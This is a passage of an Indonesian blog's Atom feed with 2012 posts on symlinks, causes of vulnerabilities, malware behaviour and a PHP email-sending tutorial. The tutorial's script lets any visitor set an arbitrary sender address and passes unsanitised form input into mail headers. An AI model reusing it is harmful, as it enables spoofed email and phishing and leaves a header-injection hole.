href=&quot;http://id.wikipedia.org/wiki/Ilmu_komputer&quot; target=&quot;_blank&quot; title=&quot;Ilmu komputer&quot;&gt;ilmu komputer&lt;/a&gt; merujuk kepada sebuah jenis &lt;a href=&quot;http://id.wikipedia.org/wiki/Berkas_komputer&quot; target=&quot;_blank&quot; title=&quot;Berkas komputer&quot;&gt;berkas&lt;/a&gt; yang bertindak sebagai referensi ke berkas lainnya atau &lt;a href=&quot;http://id.wikipedia.org/wiki/Direktori&quot; target=&quot;_blank&quot; title=&quot;Direktori&quot;&gt;direktori&lt;/a&gt;. Beberapa &lt;a href=&quot;http://id.wikipedia.org/wiki/Sistem_operasi&quot; target=&quot;_blank&quot; title=&quot;Sistem operasi&quot;&gt;sistem operasi&lt;/a&gt; yang menyerupai sistem operasi &lt;a class=&quot;mw-redirect&quot; href=&quot;http://id.wikipedia.org/wiki/UNIX&quot; target=&quot;_blank&quot; title=&quot;UNIX&quot;&gt;UNIX&lt;/a&gt; sering memiliki fitur tautan simbolis.&lt;br /&gt;
Tidak seperti &lt;a class=&quot;new&quot; href=&quot;http://id.wikipedia.org/w/index.php?title=Hard_link&amp;amp;action=edit&amp;amp;redlink=1&quot; target=&quot;_blank&quot; title=&quot;Hard link (halaman belum tersedia)&quot;&gt;tautan keras&lt;/a&gt; (&lt;i&gt;hard link&lt;/i&gt;), symbolic link tidak secara langsung menunjuk kepada &lt;a href=&quot;http://id.wikipedia.org/wiki/Data&quot; target=&quot;_blank&quot; title=&quot;Data&quot;&gt;data&lt;/a&gt;,
 tetapi hanya mengandung path simbolis yang digunakan oleh sistem 
operasi untuk mengenali sebuah tautan keras atau tautan simbolis 
lainnya. Sehingga ketika seorang pengguna membuat sebuah tautan 
simbolis, berkas yang dirujuknya tetap tidak terpengaruh oleh apa yang 
dilakukan pengguna. Bandingkan dengan tautan keras, jika memang pengguna
 membuangnya, maka hal tersebut dapat berakibat pada penghapusan berkas 
tersebut jika memang berkas tersebut tidak memiliki tautan keras lagi.&lt;br /&gt;
Beberapa sistem dapat menggunakan tautan simbolis untuk merujuk kepada berkas-berkas meskipun berada di dalam &lt;a href=&quot;http://id.wikipedia.org/wiki/Sistem_berkas&quot; target=&quot;_blank&quot; title=&quot;Sistem berkas&quot;&gt;sistem berkas&lt;/a&gt; yang dikaitkan ke lokasi yang berbeda dengan sistem berkas yang sekarang digunakan (contoh &lt;code&gt;/dev/hda1&lt;/code&gt; merujuk ke &lt;code&gt;/dev/hda2&lt;/code&gt;).
 Bandingkan dengan tautan keras, yang hanya dapat digunakan dalam 
cakupan sistem berkas fisik yang sama (contoh tautan keras pada &lt;code&gt;/dev/hda1&lt;/code&gt; harus terdapat pada &lt;code&gt;/dev/hda1&lt;/code&gt; juga).&lt;br /&gt;
Dalam konsep tautan simbolis, istilah &quot;&lt;i&gt;orphan link&lt;/i&gt;&quot; atau &quot;yatim&quot; digunakan untuk merujuk kepada tautan simbolis yang tidak memiliki target.&lt;br /&gt;
Tautan simbolis juga beroperasi secara transparan, sehingga 
implementasinya tidak terlihat oleh aplikasi atau&lt;br /&gt;
&lt;a name=&#39;more&#39;&gt;&lt;/a&gt;pengguna. Ketika 
sebuah program membuka, membaca, atau menulisi sebuah tautan simbolis, 
sistem operasi akan mengalihkan apa yang dilakukan oleh pengguna kepada 
target tautan simbolis tersebut secara otomatis. Akan tetapi, memang 
terdapat beberapa fungsi yang mampu mendeteksi keberadaan tautan 
simbolis, sehingga aplikasi dapat menemukannya dan memanipulasinya.&lt;br /&gt;
Pengguna harus sangat berhati-hati dalam merawat tautan simbolis. 
Tidak seperti tautan keras, jika target tautan simbolik terhapus, maka 
data akan hilang dan semua pranala ke berkas atau direktori tersebut 
menjadi orphan link. Akan tetapi, menghapus sebuah &lt;i&gt;symbolic link&lt;/i&gt; tidak memiliki pengaruh terhadap target.&lt;br /&gt;
&lt;h2&gt;
&lt;span class=&quot;editsection&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mw-headline&quot; id=&quot;Contoh_penggunaan&quot;&gt;Contoh penggunaan&lt;/span&gt;&lt;/h2&gt;
Untuk membuat sebuah tautan simbolis dalam sistem operasi UNIX, gunakan perintah di bawah ini dari &lt;i&gt;&lt;a class=&quot;new&quot; href=&quot;http://id.wikipedia.org/w/index.php?title=Command-line&amp;amp;action=edit&amp;amp;redlink=1&quot; target=&quot;_blank&quot; title=&quot;Command-line (halaman belum tersedia)&quot;&gt;command-line&lt;/a&gt;&lt;/i&gt; UNIX:&lt;br /&gt;
&lt;pre&gt;ln -s Sumber_berkas Berkas_baru&lt;/pre&gt;
Ganti &lt;code&gt;Sumber_berkas&lt;/code&gt; dengan nama berkas atau direktori 
yang telah ada yang hendak kita buat tautan simbolis terhadapnya (berkas
 ini dapat berada di mana saja, melewati batas sistem berkas fisik). 
Ganti &lt;code&gt;Berkas_baru&lt;/code&gt; dengan nama tautan simbolis yang hendak dibuat. Perintah &lt;code&gt;ln&lt;/code&gt;
 akan membuatkan tautan simbolis. Setelah kita membuat tautan simbolis 
dengan perintah di atas, kita dapat melakukan beberapa operasi seperti 
membaca, menulisi, atau mengeksekusi &lt;code&gt;Berkas_baru&lt;/code&gt;, seolah-olah kita sedang bekerja dengan &lt;code&gt;Sumber_berkas&lt;/code&gt;. Kita juga dapat menggunakan perintah-perintah manajemen berkas (seperti &lt;code&gt;cp&lt;/code&gt;, &lt;code&gt;rm&lt;/code&gt; atau perintah lainnya) terhadap tautan simbolis.&lt;br /&gt;
&lt;h2&gt;
&lt;span class=&quot;editsection&quot;&gt;&lt;/span&gt;&lt;span class=&quot;mw-headline&quot; id=&quot;Tempat_penyimpanan_tautan_simbolis&quot;&gt;Tempat penyimpanan tautan simbolis&lt;/span&gt;&lt;/h2&gt;
Implementasi awal dari tautan simbolis cenderung menyimpan informasi 
tautan simbolis di dalam blok disk standar, seperti halnya berkas biasa.
 Berkas tersebut mengandung referensi tekstual kepada target yang dituju
 oleh pranala tersebut, dan sebuah indikator bahwa ia adalah tautan 
simbolis.&lt;br /&gt;
Penggunaan cara seperti ini ternyata tidak cukup bagus dan memiliki 
kinerja yang lambat, dan juga terjadi banyak ruangan disk yang terbuang 
percuma dalam sistem-sistem yang kecil. Akhirnya sebuah inovasi yang 
dikenal sebagai &lt;i&gt;&lt;b&gt;fast symlink&lt;/b&gt;&lt;/i&gt; mengizinkan penyimpanan teks 
pranala di dalam struktur data standar yang juga digunakan untuk 
menyimpan informasi berkas di dalam disk (&lt;i&gt;index node&lt;/i&gt; atau &lt;i&gt;&lt;a class=&quot;new&quot; href=&quot;http://id.wikipedia.org/w/index.php?title=Inode&amp;amp;action=edit&amp;amp;redlink=1&quot; target=&quot;_blank&quot; title=&quot;Inode (halaman belum tersedia)&quot;&gt;inode&lt;/a&gt;&lt;/i&gt;).
 Ruangan ini pada umumnya bertindak sebagai tempat penyimpanan rantai 
blok-blok disk yang membentuk sebuah berkas (berukuran 60 &lt;a href=&quot;http://id.wikipedia.org/wiki/Bita&quot; target=&quot;_blank&quot; title=&quot;Bita&quot;&gt;bita&lt;/a&gt; di dalam &lt;a class=&quot;new&quot; href=&quot;http://id.wikipedia.org/w/index.php?title=Unix_File_System&amp;amp;action=edit&amp;amp;redlink=1&quot; target=&quot;_blank&quot; title=&quot;Unix File System (halaman belum tersedia)&quot;&gt;Unix File System&lt;/a&gt;). Dengan begitu, pengguna pun dapat merujuk kepada tautan simbolis secara lebih cepat. Sistem-sistem dengan &lt;i&gt;fast symlink&lt;/i&gt;
 akan menggunakan metode yang lama jika nama path dan nama berkas yang 
disimpan di dalam symlink melebihi ruangan yang tersedia di dalam inode,
 atau untuk kompatibilitas ke belakang dengan sistem operasi versi lama 
atau sistem operasi lainnya. Penggunaan cara pertama yang disebutkan di 
atas telah dikenal menjadi istilah &lt;i&gt;&lt;b&gt;Slow Symlink&lt;/b&gt;&lt;/i&gt;.&lt;br /&gt;
Meskipun menyimpan nilai pranala di dalam inode menghemat blok disk 
dan mengurangi pembacaan hard disk, sistem operasi masih harus 
menerjemahkan informasi nama path yang terkandung di dalam link, yang 
selalu membutuhkan pembacaan inode tambahan dan umumnya membutuhkan 
pembacaan terhadap banyak direktori, yang kemudian memproses daftar 
berkas dan inode setiap berkas hingga sistem operasi menemukan kecocokan
 dengan nama path yang dirujuk. Fast symlink akan menunjukkan 
peningkatan performa yang signifikan hanya ketika sebuah pranala 
menunjuk ke sebuah berkas di dalam direktori yang sama.&lt;br /&gt;
&lt;br /&gt;
Source : &lt;a href=&quot;http://id.wikipedia.org/wiki/Tautan_simbolis&quot; target=&quot;_blank&quot;&gt;http://id.wikipedia.org/wiki/Tautan_simbolis&lt;/a&gt; </content><link rel='replies' type='application/atom+xml' href='http://ayrbyte.blogspot.com/feeds/9212814062147340812/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://ayrbyte.blogspot.com/2012/09/sekilas-tentang-symlink.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8690548132506909115/posts/default/9212814062147340812'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8690548132506909115/posts/default/9212814062147340812'/><link rel='alternate' type='text/html' href='http://ayrbyte.blogspot.com/2012/09/sekilas-tentang-symlink.html' title='Sekilas Tentang Symlink'/><author><name>Ayrbyte</name><uri>http://www.blogger.com/profile/13588330961721133792</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8690548132506909115.post-4473773600369279342</id><published>2012-09-12T02:33:00.002-07:00</published><updated>2013-03-28T23:07:20.665-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="bacaan"/><title type='text'>Penyebab Vulnerability</title><content type='html'>Penelitian menunjukkan bahwa titik-titik vulnerability di dalam sebuah sistem informasi biasanya berasal dari user, perancangan sistem dan device yang digunakan oleh sistem itu sendiri.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;faktor munculnya vulnerability&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
Munculnya vulnerability sendiri dapat disabapkan oleh beberapa faktor, berikut diantaranya...&lt;br /&gt;
&lt;br /&gt;
&amp;gt; &lt;b&gt;Kompleksitas&lt;/b&gt;&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; Kompleksitas merupakan salah satu penyebap munculnya vulnerability, sistem yang komplek dan besar dapat meningkatkan kemungkinan munculnya vulnerability yang semakin tinggi dan dapat menimbulkan masalah baru yaitu munculnya jalur akses yang tidak diinginkan ke dalam sistem.&lt;br /&gt;
&lt;br /&gt;
&amp;gt; &lt;b&gt;Familiaritas&lt;/b&gt;&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; Familiaraitas dapat menimbulkan munculnya vulnerability, karena semakin sering interaksi terjadi pada sistem akan membuat seseorang mempelajari kelemahan2 yang terdapat di dalam sistem.&lt;br /&gt;
&lt;br /&gt;
&amp;gt; &lt;b&gt;Koneksifitas&lt;/b&gt;&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; Terkoneknya sebuah sistem yang lama dengan sistem yang baru seperti hardware, jaringan dan lainnya dapt memunculkan vulnerability pada sistem yang aman, karena kemungkinan sistem baru yang terkoneksi&lt;br /&gt;
&lt;a name=&#39;more&#39;&gt;&lt;/a&gt;ke dalamnya terdapat kelemahan yang mungkin dapat di exploitasi.&lt;br /&gt;
&lt;br /&gt;
&amp;gt; &lt;b&gt;Password management flaws&lt;/b&gt;&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; Password management flaws terjadi karena pengguna komputer menggunakan password yang bisa ditemukan lewat bruteforce, pengguna komputer menyimpan password pada komputer di mana seseorang dapat mengaksesnya dengan mudah, user atau pengguna komputer menggunakan password yang sama pada banyak program dan website.&lt;br /&gt;
&lt;br /&gt;
&amp;gt; &lt;b&gt;Operating system flaws&lt;/b&gt;&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; Kelemahan yang dimiliki oleh sebuah system, yang berasal dari desaign sistem operasi dan fitur-fiturnya yang ada sejak awal.&lt;br /&gt;
&lt;br /&gt;
&amp;gt; &lt;b&gt;Internet website browsing&lt;/b&gt;&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; Beberapa situs internet ,mungkin berbahaya karena terdapat spyware dan adware yang dapat diinstall secara otomatis pada sistem komputer. Biasanya spyware atau backdoor di tanam ke dalam sistem operasi user melalui kelemahan yang ada di dalam browser user.&lt;br /&gt;
&lt;br /&gt;
&amp;gt; &lt;b&gt;Sofware Bugs&lt;/b&gt;&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; Seorang programmer terkadang meninggalkan bug atau celah yang dapat di exploitasi dalam aplikasi yang di buatnya. Bug pada software dapat memungkinkan penyerang untuk penyalah gunaan aplikasi serta mengambil keuntungan dari celah keamanan yang ada.&lt;br /&gt;
&lt;br /&gt;
&amp;gt; &lt;b&gt;Unchecked User input&lt;/b&gt;&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; Terkadang aplikasi tidak memiliki sanitasi atau penyaring bagi data yang dimasukkan oleh user. Sebagai contoh adalah sql injection yang biasanya dimasukkan melalui user input yang ada pada form di halaman web... ^_^&lt;br /&gt;
&lt;br /&gt;</content><link rel='replies' type='application/atom+xml' href='http://ayrbyte.blogspot.com/feeds/4473773600369279342/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://ayrbyte.blogspot.com/2012/09/penyebab-vulnerability.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8690548132506909115/posts/default/4473773600369279342'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8690548132506909115/posts/default/4473773600369279342'/><link rel='alternate' type='text/html' href='http://ayrbyte.blogspot.com/2012/09/penyebab-vulnerability.html' title='Penyebab Vulnerability'/><author><name>Ayrbyte</name><uri>http://www.blogger.com/profile/13588330961721133792</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8690548132506909115.post-8385131249997287984</id><published>2012-09-12T02:27:00.005-07:00</published><updated>2013-03-28T23:06:58.399-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="bacaan"/><title type='text'>Tingkah Laku Malware</title><content type='html'>Pada umumnya malware memiliki pola penyebaran/penginfeksian melaui beberapa cara, seperti: email attachment, script dari halaman web, link dalam halaman web yang berupa file yang siap di install, melakukan exploitasi bug pada sistem operasi, USB drive, file sharing, serta aplikasi bajakan yang telah ditanami loader malware.&lt;br /&gt;
&lt;br /&gt;
Secara umum kinerja malware di dalam sebuah sistem yang telah terinfeksi dapat di kelompokkan menjadi 2, yaitu aktifitas malware pada sistem dan aktifitas pada jaringan, dengan mengetahui tingkah laku umum malware pada sistem jaringan, maka memungkinakan untuk melakukan analisa secara mendalam pada malware&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Sistem&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
Setelah berhasil melakukan infeksi pada sebuah sitem. Malware umumnya aikan melakukan beberapa &quot;kegiatan&quot; rutin pada sistem yang telah berhasil di infeksi. Berikut adalah beberapa contoh kegiatan malware pada sebuah sistem:&lt;br /&gt;
&lt;br /&gt;
&amp;gt; menggandakan diri sebanyak banyaknya pada sistem yang terinfeksi, dengan tujuan untuk saling melindungi antara proses malwara satu dengan proses malware lainnya.&lt;br /&gt;
&amp;gt; menyamarkan diri, dengan melakukan kamuflase pada sistem, seperti menginfeksi file pada sistem utama aplikasi, mengubah attribut file yang sudah terinfeksi dan attribut malware itu sendiri.&lt;br /&gt;
&amp;gt; pada sistem windows, malware akan melakukan konfigurasi pada registry, sehingga malware dapat &lt;br /&gt;
&lt;a name=&#39;more&#39;&gt;&lt;/a&gt;mengontrol alur kerja sistem operasi dan aplikasi yang berjalan di dalamnya.&lt;br /&gt;
&amp;gt; membuat proses baru pada sistem, berupa service yang berjalan di bakground process pada sistem informasi&lt;br /&gt;
&amp;gt; mematikan service-service standart pada sitem, dan menggantikannya dengan service palsu yang telah terinfeksi oleh malware&lt;br /&gt;
&amp;gt; menyisipkan file system palsu yang nantinya akan di load oleh system aplikasi, seperti .dll .sys .so&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;jaringan&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
selain melakukan kegiatan yang berhubungan dengan sistem, sebuah malware setelah menginfeksi sebuah system biasanya juga melakukan aktivitas yang berhubungan dengan jaringan. Aktivitas umum sebuah malware yang berhubungan dengan jaringan di antaranya:&lt;br /&gt;
&lt;br /&gt;
&amp;gt; mencoba untuk melakukan exploitasi pada service tertentu yang berhubungan dengan jaringan,&lt;br /&gt;
&amp;gt; mengirimkan informasi pada pembuat malware melalui jaringan&lt;br /&gt;
&amp;gt; mengontrol alur data sebuah system dari dan kedalam jaringan&lt;br /&gt;
&amp;gt; menyimpan komunikasi data yang berada dalam jaringan... ^_^ </content><link rel='replies' type='application/atom+xml' href='http://ayrbyte.blogspot.com/feeds/8385131249997287984/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://ayrbyte.blogspot.com/2012/09/tingkah-laku-malware.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8690548132506909115/posts/default/8385131249997287984'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8690548132506909115/posts/default/8385131249997287984'/><link rel='alternate' type='text/html' href='http://ayrbyte.blogspot.com/2012/09/tingkah-laku-malware.html' title='Tingkah Laku Malware'/><author><name>Ayrbyte</name><uri>http://www.blogger.com/profile/13588330961721133792</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8690548132506909115.post-4319894501473837585</id><published>2012-09-12T02:21:00.001-07:00</published><updated>2013-03-28T23:06:05.589-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="bacaan"/><title type='text'>Apa Itu Malware...?</title><content type='html'>Malware merupakan singkatan dari malicinous software, yaitu sebuah sebutan bagi software yang di design sedemikian rupa agar dapat menyusup ke dalam sebuah sistem komputer tanpa di ketahui pemilik sistem, dimana dalam software tersebut terdapat perintah-perintah khusus, seperti menyebarkan virus, trojan, worm, atau memasang backdoor. Secara umum dapat dikatakan bahwa, malware merupakan aplikasi yang dapat atau akan membuat celah pada keamanan sebuah sistem komputer.&lt;br /&gt;
&lt;br /&gt;
Pada awal perkembangannya, banyak aplikasi malware seperti worm dan virus yang di buat hanya untuk tujuan lelucon saja, namun dalam beberapa kasus, pembuat malware tersebut tidak menyadari seberapa besar kerugian yang di dapatkan pengguna gara2 ciptaan mereka. Para programer muda yang belajar mengenai virus dan tehnik yang di gunakan untuk menulisnya, semata-mata belajar untuk membuktikan kemampuan atau untuk melihat seberapa jauhnya perangkat lunak tersebut dapat menyebar. &lt;br /&gt;
&lt;br /&gt;
Dalam banyak kasus, program malware yang berisi perintah-perintah mematikan banyak ditemukan berkeliaran di dalam jaringan publik, eberapa di antaranya mengakibatkan kerusakan serius pada data bahkan hingga pada terhapusnya data dari system. Malware yang melakukan perusakan pada sistem kebanyakan menyerang pada sistem operasi berbasis DOS dan Windows. Kebanyakan malware tersebut dirancang untuk menghancurkan file yang ada dalam hardisk, atau untuk merusak file system yang ada di dalam system operasi. Salah satu malware yang memiliki sifat perusak pada sistem adalah code red dan &lt;br /&gt;
&lt;a name=&#39;more&#39;&gt;&lt;/a&gt;ramen. Kedua malware ini melakukan deface masal pada halaman website yang servernya memiliki celah keamanan yang dapat di exploitasi oleh kedua malware tersebut.&lt;br /&gt;
&lt;br /&gt;
Sejak meningkatnya penggunaan teknologi internet, para pembuat malwarepun mulai meningkatkan pola penyerangan dan penyebaran malware yang di buat. Salah satu yang digunakan adalah memanfaatkan komputer yang telah terinfeksi untuk mengirimkan pesan massal kepada pihak lain yang nantinya akan di jadikan host baru bagi malware. pesan yang terkirim biasanya pesan email iklan, pesan IM melalui aplikasi IM yang popular seperti Yahoo messanger. Bahkan beberapa malware di rancang untuk menjadikan host yang terinfeksi sebagai tempat untuk melakukan serangan DDoS massal terhadap sistem lain.&lt;br /&gt;
&lt;br /&gt;
Kelompok malware lainnya adalah kelompok malware yang mengambil keuntungan financial dari korban yang sistemnya telah terinfeksi. Ada beberapa cara yang dapat dilakukan melware untuk menjebak korbannya agar mengirimkan uang kepada pembuat malware, diantaranya:&lt;br /&gt;
&amp;gt; memantau lalu lintas web browser dan menyusupkan halaman iklan atau halaman khusus yang akan mengarahkan ke dalam halaman produk si pemilik malware.&lt;br /&gt;
&amp;gt; memunculkan pesan palsu, bahwa sistem telah terinfeksi virus dan korban dapat menghapusnya dengan produk khusus yang hanya dapat dipesan pada pembuat malware.&lt;br /&gt;
&amp;gt; memantau apa saja yang diketikan pengguna ketika pengguna membuka situs2 penyimpanan uang online sehingga memungkinkan si pembuat malware mengetahui username dan passwornya dan mendapat keuntungan di dalamnya... ^_^</content><link rel='replies' type='application/atom+xml' href='http://ayrbyte.blogspot.com/feeds/4319894501473837585/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://ayrbyte.blogspot.com/2012/09/apa-itu-malware.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8690548132506909115/posts/default/4319894501473837585'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8690548132506909115/posts/default/4319894501473837585'/><link rel='alternate' type='text/html' href='http://ayrbyte.blogspot.com/2012/09/apa-itu-malware.html' title='Apa Itu Malware...?'/><author><name>Ayrbyte</name><uri>http://www.blogger.com/profile/13588330961721133792</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8690548132506909115.post-6750829121757696762</id><published>2012-09-11T01:22:00.001-07:00</published><updated>2013-03-28T23:05:46.181-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="programming"/><title type='text'>Send Email (PHP Tutorial)</title><content type='html'>Untuk mengirim email dengan PHP syaratnya harus memiliki server SMTP (Simple Mail Transfer Protokol) yang berfungsi sebagai protokol untuk mengirimkan mail ke alamat tujuan... script untuk menuliskan email adalah :
&lt;br /&gt;
&lt;pre style=&quot;background-color: #eeeeee; border: 1px dashed #0000FF; color: black; font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; font-size: 14px; height: 50%; line-height: 12px; overflow: auto; padding: 5px; width: 80%;&quot;&gt;&lt;code&gt;Mail(Tujuan, Judul, Isi Mail, header, parameters);&lt;/code&gt;&lt;/pre&gt;
Tujuan : alamat email penerima&lt;br /&gt;
Judul : judul email yang akan di kirim&lt;br /&gt;
Isi Mail : isi dari email&lt;br /&gt;
Header : header email&lt;br /&gt;
parameters : bersifat optional...&lt;br /&gt;
&lt;br /&gt;
alamat pengirim dari email terletak pada header email... jadi disinilah unixnya... email pengirim bisa kita buat sesuka hati... ^_^ untuk lebih jelasnya perhatikan kode berikut...&lt;br /&gt;
&lt;br /&gt;
&lt;pre style=&quot;background-color: #eeeeee; border: 1px dashed #0000FF; color: black; font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; font-size: 14px; height: 50%; line-height: 12px; overflow: auto; padding: 5px; width: 80%;&quot;&gt;&lt;code&gt;&amp;lt;?php 
if ($_POST[&quot;penerima&quot;]&amp;lt;&amp;gt;&#39;&#39;) { 


$email_penerima = $_POST[&quot;penerima&quot;]; 


$judul_email = $_POST[&quot;judul&quot;]; 


$header_email = &quot;From: &quot;.$_POST[&quot;pengirim&quot;].&quot;\r\n&quot;; 


$header_email .= &quot;Reply-To: &quot;.$_POST[&quot;pengirim&quot;].&quot;\r\n&quot;; 


$header_email .= &quot;Content-type: text/html; charset=iso-8859-1\r\n&quot;; 


$isi_email = $_POST[&quot;pesan&quot;];


mail($email_penerima, $judul_email, $isi_email, $header_email) or die (&quot;Failure&quot;); 

 echo&quot;Email berhasil dikirim ke $email_penerima&quot;;


?&amp;gt;




&amp;lt;?php 


} else { 


?&amp;gt; 


&amp;lt;style type=&quot;text/css&quot;&amp;gt;

  &amp;lt;!--

  .style1 {

  font-family: &quot;Blackletter686 BT&quot;;

  font-size: 80px;

  }

  --&amp;gt;

  &amp;lt;/style&amp;gt;
&amp;lt;form name=&quot;form1&quot; method=&quot;post&quot; action=&quot;send_mail.php&quot;&amp;gt;

  &amp;lt;table width=&quot;80%&quot; border=&quot;0&quot;&amp;gt;

  &amp;lt;caption&amp;gt;

  &amp;lt;span class=&quot;style1&quot;&amp;gt;Simple Send Mail By Ayrbyte&amp;lt;/span&amp;gt;

  &amp;lt;/caption&amp;gt;

  &amp;lt;tr&amp;gt;

  &amp;lt;td&amp;gt;Alamat Email Pengirim&amp;lt;/td&amp;gt;

  &amp;lt;td&amp;gt;&amp;lt;label for=&quot;pengirim&quot;&amp;gt;&amp;lt;/label&amp;gt;

  &amp;lt;input type=&quot;text&quot; name=&quot;pengirim&quot; id=&quot;pengirim&quot;&amp;gt;&amp;lt;/td&amp;gt;

  &amp;lt;/tr&amp;gt;

  &amp;lt;tr&amp;gt;

  &amp;lt;td&amp;gt;Alamat Email Penerima&amp;lt;/td&amp;gt;

  &amp;lt;td&amp;gt;&amp;lt;label for=&quot;penerima&quot;&amp;gt;&amp;lt;/label&amp;gt;

  &amp;lt;input type=&quot;text&quot; name=&quot;penerima&quot; id=&quot;penerima&quot;&amp;gt;&amp;lt;/td&amp;gt;

  &amp;lt;/tr&amp;gt;

  &amp;lt;tr&amp;gt;

  &amp;lt;td&amp;gt;Judul Email&amp;lt;/td&amp;gt;

  &amp;lt;td&amp;gt;&amp;lt;label for=&quot;judul&quot;&amp;gt;&amp;lt;/label&amp;gt;

  &amp;lt;input type=&quot;text&quot; name=&quot;judul&quot; id=&quot;judul&quot;&amp;gt;&amp;lt;/td&amp;gt;

  &amp;lt;/tr&amp;gt;

  &amp;lt;tr&amp;gt;

  &amp;lt;td&amp;gt;Isi Email&amp;lt;/td&amp;gt;

  &amp;lt;td&amp;gt;&amp;lt;label for=&quot;pesan&quot;&amp;gt;&amp;lt;/label&amp;gt;

  &amp;lt;textarea name=&quot;pesan&quot; id=&quot;pesan&quot; cols=&quot;45&quot; rows=&quot;5&quot;&amp;gt;&amp;lt;/textarea&amp;gt;&amp;lt;/td&amp;gt;

  &amp;lt;/tr&amp;gt;

  &amp;lt;tr&amp;gt;

  &amp;lt;td&amp;gt;&amp;amp;nbsp;&amp;lt;/td&amp;gt;

  &amp;lt;td&amp;gt;&amp;lt;label for=&quot;SEND&quot;&amp;gt;&amp;lt;/label&amp;gt;

  &amp;lt;input type=&quot;submit&quot; name=&quot;SEND&quot; id=&quot;SEND&quot; value=&quot;Kirim&quot;&amp;gt;&amp;lt;/td&amp;gt;

  &amp;lt;/tr&amp;gt;

  &amp;lt;/table&amp;gt;

  &amp;lt;/form&amp;gt;


&amp;lt;?php 


}; 


?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
simpan dengan nama send_mail.php kemudian upload ke web server anda... kemudian tinggal di coba deh... ^_^&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;http://www.blogger.com/blogger.g?blogID=8690548132506909115&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://www.blogger.com/blogger.g?blogID=8690548132506909115&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://www.blogger.com/blogger.g?blogID=8690548132506909115&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://www.blogger.com/blogger.g?blogID=8690548132506909115&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://www.blogger.com/blogger.g?blogID=8690548132506909115&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;/a&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgIuiz4TD3aE45CW-LXEIM8aq5HweDqZ4e2ykTYQW9AB5m5WUNsQzvTkWypBwYMKm_jFg4HwVk18ZgGPHXwwDZHqSXDtzkstYZcrKBd4GDZgjp1dQdQRhdyAU8syTIAZ1InihPEK1bYqek/s1600/mail1.JPG&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;155&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgIuiz4TD3aE45CW-LXEIM8aq5HweDqZ4e2ykTYQW9AB5m5WUNsQzvTkWypBwYMKm_jFg4HwVk18ZgGPHXwwDZHqSXDtzkstYZcrKBd4GDZgjp1dQdQRhdyAU8syTIAZ1InihPEK1bYqek/s400/mail1.JPG&quot; 